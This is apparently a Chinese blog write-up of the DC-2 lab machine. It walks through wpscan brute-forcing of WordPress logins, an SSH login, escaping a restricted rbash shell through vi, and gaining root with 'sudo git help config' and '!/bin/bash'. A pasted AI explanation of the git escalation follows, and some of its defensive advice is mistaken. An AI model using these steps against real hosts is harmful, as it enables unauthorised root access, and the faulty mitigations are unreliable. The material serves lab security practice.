DC-2渗透笔记SUID-git提权

信息搜集

  • 首先,发现主机

  • 先扫描一下端口:
  • 7744:开放ssh连接,后面做题要注意

    访问一下主页:

  • 先使用御剑扫描一下:(找不到什么太有用的东西)
  • 再使用dirb扫描一下网址:
  • 在其中,可以看到有一个admin:
  • 访问一下,找到一个登录入口,先留着
  • 到此信息搜集先告一段落
  • 登录后台

  • 注意到当前首页直接就有一个flag;点开看看:(我这里是翻译了一下)

  • 根据提示得知要使用cewl来爬取网站的密码;

    来到kali来爬取一下密码:

  • 一般爬取结束后也不会有什么回显,自己到对应的文件里去看看有没有成功爬取到密码

    这样就是成功了,

  • 有了密码,还要有账号来爆破,习惯性看看指纹识别,
  • 发现是wordpress,就使用与之对应的扫描器来扫描:
wpscan --url http://dc-2/ -e u

成功拿到三个用户名,接下来为了方便,直接讲=将这三个用户名写在一个文档中:

直接用之前的wpscan结合之前cewl拿到的密码来试着爆破一下:

wpscan --url http://dc-2/ -U user-for-dc-2.txt -P 9.txt

看到成功破解出两个账户:

[SUCCESS] - jerry / adipiscing                                                           
[SUCCESS] - tom / parturient 

回想到之前的登录页面,去试试看能不能登录成功:

使用jerry那个用户即登录成功

在Pages模块下可以找到flag2

Getshell

同时,前面端口也扫描出了7744端口(ssh连接),直接用这两个账户去连接登录:

ssh jerry@192.168.134.129 -p 7744

但是很奇怪,jerry怎么都登录不进去,不要急,试试tom:

是可以发现tom这个账户是可以直接登录的

ssh tom@192.168.134.129 -p 7744

之后就是简单的查看目录找flag:

发现cat命令被禁止了;尝试了一下其他基础命令,发现连cd也用不了,那就先来看看有什么可以使用的命令:

compgen -c       //查看可以使用的指令

可以看到最底下有一个vi文本编辑的命令,也可以用它来查看flag3.txt

成功拿到flag3,根据提示以及之前登录的情况,此时是再tom这个目录下,刚才也是,只有tom这个账号才可以ssh远程登录,所以,接下来应该就是要追着“杰瑞”,也就是切换到jerry目录下→部分提权

部分提权-rbash
方法1

cd 之后发现命令被限制了,但是也给出了提示:rbash,所以想到rbash逃逸:

vi 命令进入刚才的flag3.txt文件:

:set shell=/bin/bash

直接Enter继续:

:shell

此时使用whoami还是会显示:command not found

只需要再添加两条路径就可以了:

export PATH=$PATH:/bin/
 
export PATH=$PATH:/usr/bin/

之后就可以看到whoami,cd,cat,等基础命令就都是可以使用的了

直接就切换到/home/jerry目录下去读取flag4.txt

方法2:

一样,靠我们仅有的vi命令来部分提权:

首先;还是使用vi命令进入一个文件中去做修改:

:set shell=/bin/sh

直接Enter继续;

:shell

之后,最重要的一步,一样是添加环境变量:

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

一样达到方法1的/bin/bash部分提权的效果

git提权

之后,根据flag4.txt的提示说,只有最后一个flag了,也给了提示要使用git提权

来试试看:

先看看什么命令拥有sudo权限:

发现tom用户没法使用,那就换到jerry用户

再次验证可以使用git提权;

首先:

sudo git help config

!/bin/bash
!'sh'
两个都可以

Enter之后,就可以看到是root权限了

直接切换到/root目录下获取flag就好

完成

<think>好的,我现在需要分析通过'sudo git help config'实现的原理。首先,我应该理解这个命令为什么会存在漏洞。根据用户供的引用,例如引用[2]和[5]到,执行sudo git help config后,输入!/bin/bash或!'sh'可以完成。这表明在某种情况下,用户可以通过Git的帮助页面执行任意命令。 接下来,我需要了解sudo的作用。sudo允许用户以其他限(通常是root)执行命令。如果用户被授以sudo运行git,那么当执行sudo git help config时,Git会调用帮助页面查看器,通常是分页程序如less或more。这里的关键点在于,这些分页程序允许用户在查看文档时执行shell命令。例如,在less中,输入!后跟命令会执行该命令,而此时的限是继承自sudo的,即root限。因此,当用户运行sudo git help config时,Git启动帮助文档并通过分页程序显示,用户在此界面输入!/bin/bash就会以root限启动一个shell,从而实现。 另外,引用[5]到第二种方法是使用sudo git -p help !/bin/bash,这里利用了Git-p参数,可能是指定分页程序,或者触发某种交互模式,直接执行后续的命令。但通常,-p在Git中用于分页,所以可能仍然是利用分页程序的功能执行命令。 需要确认的是,为什么Git的帮助页面允许执行shell命令。这应该与分页程序的功能有关,而不是Git本身的问题。因此,漏洞的关键在于配置了sudo限允许用户以root运行git,而Git调用的分页程序允许执行shell命令,且这些命令继承了root限。因此,防范措施包括限制用户通过sudo运行git,或者配置分页程序禁止执行shell命令。 总结来说,的原理是利用了sudo授git命令调用分页程序,而分页程序允许执行任意命令,这些命令以root限运行。这属于配置不当导致的升漏洞。</think>### 通过 `sudo git help config` 漏洞的原理分析 #### 1. **漏洞背景** 该漏洞的核心在于 **`sudo` 限配置不当**与 **分页程序(如 `less`)的交互功能**的结合。当用户被允许通过 `sudo` 以高限(如 `root`)执行 `git` 命令时,若未对分页程序进行安全限制,攻击者可通过分页程序的命令执行功能实现升。 #### 2. **关键步骤与原理** - **步骤 1:`sudo` 限授予** 假设用户被授予以下限(通过 `sudoers` 文件): ```bash test01 ALL=(ALL) NOPASSWD: /usr/bin/git ``` 这意味着用户 `test01` 可以无密码通过 `sudo` 执行 `git` 命令,且继承 `root` 限[^3][^5]。 - **步骤 2:触发分页程序** 执行 `sudo git help config` 时,`git` 会调用默认的分页程序(如 `less`)显示帮助文档。此时,分页程序以 `root` 限运行[^2][^4]。 - **步骤 3:分页程序的命令执行功能** 分页程序 `less` 支持在界面中直接执行 Shell 命令。输入 `!` 后跟命令(如 `!/bin/bash`)时,`less` 会启动一个新的 Shell 进程,**继承当前分页程序的限(即 `root`)**。 - **步骤 4:获取高限 Shell** 通过上述操作,用户将获得一个 `root` 限的 Shell,从而完成[^3]。 #### 3. **技术细节** - **分页程序的安全缺陷** `less` 和 `more` 等分页程序默认允许执行 Shell 命令,若未通过环境变量(如 `LESS=-X`)禁用交互功能,则会保留此行为。 - **`sudo` 的限继承** `sudo` 执行的命令及其子进程(如分页程序)默认继承相同限。若未限制子进程的行为,则可能引发漏洞。 #### 4. **漏洞复现示例** ```bash # 以普通用户执行 sudo git help config # 进入 less 界面后输入以下命令 !/bin/bash # 此时已切换至 root Shell whoami # 输出 root ``` #### 5. **防御措施** - **限制 `sudo` 限** 避免普通用户通过 `sudo` 无限制执行 `git` 命令,例如仅允许特定子命令[^1]。 - **禁用分页程序的命令执行** 在 `sudoers` 中配置 `git` 命令时,添加环境变量限制: ```bash Defaults env_keep += "LESS" ``` 或强制禁用交互功能: ```bash sudo git help config --no-pager # 直接输出内容,不启动分页程序 ``` - **更新安全策略** 使用最新版本的 `sudo` 和分页程序,并遵循最小限原则。 #### 6. **类似漏洞场景** - 其他允许通过 `sudo` 执行且调用分页程序的命令(如 `man`、`systemctl`)也可能存在类似风险。 - 攻击者可利用 `sudo -l` 查看用户的限配置,寻找类似入口点。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值